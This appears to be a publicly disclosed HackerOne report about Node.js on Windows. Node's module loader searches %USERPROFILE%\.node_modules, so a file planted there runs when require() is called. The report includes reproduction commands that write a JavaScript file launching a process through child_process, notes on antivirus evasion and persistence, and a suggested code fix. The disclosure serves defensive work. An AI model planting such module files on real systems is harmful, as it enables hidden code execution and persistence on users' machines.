HexBrain

Node.js · Report #629879

loader.js is not secure

N/Astatus
3upvotes
11 Jun 2020disclosed

How it was found

Summary:

Node.js loader.js can be exploited by an attacker

The vulnerability

https://github.com/nodejs/node/blob/a33c3c6d33fa81fa59a5aa95246d7f599e6abdd3/lib/internal/modules/cjs/loader.js#L892

Module._initPaths = function() {
  var homeDir;
  var nodePath;
  if (isWindows) {
    homeDir = process.env.USERPROFILE; //It can be vulnerable!
    nodePath = process.env.NODE_PATH;
  } else {
    homeDir = safeGetenv('HOME');
    nodePath = safeGetenv('NODE_PATH');
  }

  var prefixDir;

  if (isWindows) {
    prefixDir = path.resolve(process.execPath, '..');
  } else {
    prefixDir = path.resolve(process.execPath, '..', '..');
  }
  var paths = [path.resolve(prefixDir, 'lib', 'node')];

  //can be easily exploited  
  if (homeDir) {
    paths.unshift(path.resolve(homeDir, '.node_libraries'));
    paths.unshift(path.resolve(homeDir, '.node_modules'));
  }

  if (nodePath) {
    paths = nodePath.split(path.delimiter).filter(function pathsFilterCB(path) {
      return !!path;
    }).concat(paths);
  }

  modulePaths = paths;

  Module.globalPaths = modulePaths.slice(0);
};

loader.js added %userprofile\.node_moduels and %userprofile\.node_libraries to globalPaths.

It means following behavior can occur easily when tries to require

you can test like below

C:\Users\cdpyt\OneDrive\Desktop\rce>node -v
v12.4.0

C:\Users\cdpyt\OneDrive\Desktop\rce>node
Welcome to Node.js v12.4.0.
Type ".help" for more information.
> require('a')
Thrown:
Error: Cannot find module 'a'
Require stack:
- <repl>
    at Function.Module._resolveFilename (internal/modules/cjs/loader.js:623:15)
    at Function.Module._load (internal/modules/cjs/loader.js:527:27)
    at Module.require (internal/modules/cjs/loader.js:681:19)
    at require (internal/modules/cjs/helpers.js:16:16) {
  code: 'MODULE_NOT_FOUND',
  requireStack: [ '<repl>' ]
}
>

It looks like normal behavior.

But some side effect exists.

F516992

let's test like below

mkdir %userprofile%\.node_modules
cd %userprofile%\.node_modules
echo const { exec } = require('child_process').exec("notepad") > a.js

C:\Users\cdpyt\.node_modules>dir
 C 드라이브의 볼륨에는 이름이 없습니다.
 볼륨 일련 번호: 1AAF-F852

 C:\Users\cdpyt\.node_modules 디렉터리

2019-06-26  오후 04:01    <DIR>          .
2019-06-26  오후 04:01    <DIR>          ..
2019-06-26  오후 04:01                60 a.js
               1개 파일                  60 바이트

run node and require('a')

F516991

It is a really serious bug because many software uses nodes on Windows systems!

node will attempt to install the library file under the node_modules in the current path or in the initialized path using npm init.

a special case is global installation with npm install -g [package names]

global installation uses %appdata%\npm path.

C:\Users\cdpyt\.node_modules>where eslint
C:\Users\cdpyt\AppData\Roaming\npm\eslint
C:\Users\cdpyt\AppData\Roaming\npm\eslint.cmd

So, on a Windows system, node does not need to use %userprofile\.node_modules and %userprofile\.node_libraries paths in general cases.

node has really powerful features on Windows.

If this bug is exploited by malicious code, AV can be easily bypassed.

Steps To Reproduce:

  1. installation node latest version(v12.4.0) on windows
  2. copy and paste below commands to cmd.exe
    mkdir %userprofile%\.node_modules
    cd %userprofile%\.node_modules
    echo const { exec } = require('child_process').exec("notepad") > a.js
    
  3. run node and type requrie('a')
  4. notpad.exe will be poped!

Suggested fix

  • Fix the loader.js
if (isWindows) {
    //homeDir = process.env.USERPROFILE;
    nodePath = process.env.NODE_PATH;
  } else {
    homeDir = safeGetenv('HOME');
    nodePath = safeGetenv('NODE_PATH');
  }

Supporting Material/References:

The executables were downloaded from the official web site.

C:\Users\cdpyt\.node_modules>node -v
v12.4.0

Impact

If require does not find the current path of the module, the node tries to search the global path.

%userprofile% path allows you to create a new JavaScript file.

If the target application uses node or electron and does not do absolute path checking before require every time, it is dangerous for potential attacks.

Attackers should target applications that fail to load library files. However, these behaviors are easy to find.

An attacker can create JavaScript files in a variety of ways. This is a more safe way to create pe files.

After the creation to a specific path a javascript file, the target system will permanently infect.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original